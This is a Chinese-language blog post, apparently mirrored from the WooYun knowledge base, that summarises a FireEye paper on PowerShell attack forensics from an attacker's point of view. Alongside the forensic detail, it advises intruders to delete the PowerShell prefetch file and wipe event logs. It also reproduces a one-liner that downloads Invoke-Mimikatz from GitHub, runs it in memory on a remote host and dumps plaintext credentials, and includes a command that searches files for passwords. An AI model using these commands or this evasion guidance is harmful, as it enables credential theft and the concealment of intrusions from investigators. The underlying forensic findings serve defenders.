作者:
mickey
·
2015/05/25 10:17
0x00 簡介
這篇主要是取證的,如果我以後技術好了,也會寫寫powershell在內網滲透中的實戰應用,本文所有的內容基本翻譯自fireEyE的<<Investigating Powershell Attack>>
,我英文不好,有好多地方都看不懂他文章裡寫的,我磕磕碰碰的看完了這篇文章。有不對的地方,還請小夥伴們補充。
我們都知道,從windows 7 sp1
和windows server 2008 R2
開始,就已經預設安裝了powershell(2.0版本),到了windows Server 2012 R2
和 Window 8.1
就是powershell 4.0
了。現在用powershell編寫的攻擊框架也很成熟了,像上文書說的各種協議反彈的SHELL(nishang);透過dll loading
技術不寫硬碟的,能遠端dump登入賬號明文的Mimikatz(PowerSploit)
;以及在ShmooCon 2013
安全會議上Chris Campbell
演示的Powershell Botnet
;還有各種搞windows域內網環境的powerview等;SET/METASPLOIT
也開始支援powershell版的payloads。我們作為攻擊者,也要熟悉現在針對powershell的取證技術,預防自己“艱難進來,輕鬆被T,卻沒帶走一片雲彩”。
原文文章分別從登錄檔,prefetch,網路流量,記憶體,日誌,自啟動這幾方面來做取證的。
0x01 登錄檔:
預設情況下,除了WinServer 2012R2 會設定HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell的ExecutionPolicy
項為RemoteSigned外,其他的windows系統都會設定為Restricted,有的攻擊者為了執行powershell指令碼方便,會設定此項為ByPass,但是這種情況並不多見,因為更多的情況是,攻擊者使用-ExecuteionPolicy Bypass選項繞過執行策略限制。
0x02 Prefetch:
Prefetch本意是為了增強系統的效能的,讓應用程式下次載入的時候,節省時間。預設路徑在%systemroot%\prefetch
。取證人員常常會透過這些*.PF檔案,獲取程式最後執行時間,程式訪問的檔案列表等資訊。取證人員有可能透過檢視POWERSHELL.EXE-59FC8F3D.pf獲取到你執行的攻擊PS指令碼資訊。我這裡用的Prefetch Parser v1.4來檢視的,
如圖
所以每次我們用完powershell,記得del %systemroot%\prefetch\POWERSHELL.EXE-59FC8F3D.pf
0x03 網路流量:
攻擊者做內網滲透時,思路通常是先獲取了工作組的administrator許可權,然後滲透配置不嚴格的域環境,開啟powershell的remoting功能,powershell 2.0的Remoting預設會走5985(HTTP)
和5986(HTTPS)
埠,文章裡說,主要是監控內網<->內網,DMZ<->內網,VPN<->內網的異常資料流,建模識別出攻擊者的非法訪問,我想這裡能做的,還是要熟悉內網環境,在有正常業務流的內網使用Remoting功能,其他辦法我也沒想到。
0x04 記憶體:
論文作者主要是說可以用Volatility
框架分析wsmprovhost.exe
程式,能夠在記憶體空間看到XML格式的資訊。比如這裡他使用PSSesion
遠端互動式SHELL執行了“echo "helloword" > c:\text.txt”,
然後就可以在wsmprovhost.exe
的程式裡看到資訊,如圖:
但是這個方法隨著遠端會話的中止,也將不再有用,要想成功實現取證,需要攻擊者正在操作。所以我感覺這個對我們的威脅不是很大。如果開啟了winrm,也有可能在svchost.exe
的程式裡看到資訊。他這裡用的是Invoke-Mimikatz
做的演示,遠端透過下載在記憶體裡執行,DUMP明文密碼,不寫硬碟,這個滲透技巧實戰的時候很有用,命令如下:
#!bash
Invoke-Command -Computername 192.168.114.133 {iex((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds}
如下是他在svchost.exe程式記憶體裡抓到的資訊
0x05 日誌:
Powershell 2.0的預設日誌功能還不是很強,powershell 3.0後有所增強,不論是你本地還是透過Remoting執行powershell指令碼,都會在下面3個檔案裡寫入日誌%systemroot%\System32\winevt\
windows powershell.evtx
每次powershell開始執行EID 400
或者結束EID 403
的時候,都會記錄。裡面的HostName項如果是ConsoleHost
說明是從本地執行的,反之,是對方的機器名
Microsoft-Windows-PowerShell%4Operational.evtx
Microsoft-Windows-power-Shell%4Analytic.etl
[我機器上沒有找到這個檔案]
如果透過WINRM開啟了remoting功能,還會有下面2個日誌:
Microsoft-Windows-WinRM%4Operational.evtx
EID 6會記錄remoting的客戶端地址資訊,在這裡可能看到是誰連過來的
Microsoft-Windows-WinRM%4Analytic.etl
EID 32850
會記錄remoting
客戶端連線過來使用的賬號資訊 EID 32867/32868
裡面有可能會看到當Invoke-Command
執行命令的時候的細節,如圖
另外隨著Microsoft APPLocker的引用,管理員能夠對powershell指令碼進行更進一步的驗證,比如允許哪個PS指令碼執行,哪個不允許,甚至禁止掉計算機上全部PS指令碼的執行許可權等操作,但是這些對我們來說都有已知的技術能繞過,我下回書再說。AppLocker
功能啟用後,EID 8005
和EID 8006
會記錄認證資訊的日誌。
作者也提到可以透過%windir%\system32\WindowsPowerShell\v1.0\profile.ps1
設定全域性的profile,來增加額外的日誌記錄,他這裡說可以用-NoProfile來繞過,上文書我實踐過,發現是不可以的,參考上文,這裡不多提了。
Powershell 3.0引入了Module Logging
的能力,可以透過組策略開啟(Computer Configuration → Administrative Templates →Windows Components →Windows PowerShell →Turn on Module Logging)
,開啟後,可以在EID 4103裡看到ps指令碼執行後的結果,比如我執行
#!bash
Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password
意思是搜尋C:\
下所有TXT裡包含password的檔案,可以在EID 4103
裡看到返回結果,如圖
甚至Invoke-Mimikatz執行的結果也會記錄,如圖
再次提醒我們,該刪日誌,一定要刪,外面應該有能刪指定日誌的工具了,不過我沒見到,有的發我一份。
0x06 自啟動:
Powershell經常透過登錄檔,開始選單,或者計劃任務來實現自啟動的目的,通常用sysinternals的autorun就能找到了。另外C:\Users\<USERNAME>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
可以達到和C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
一樣的效果。
文章參考:
https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!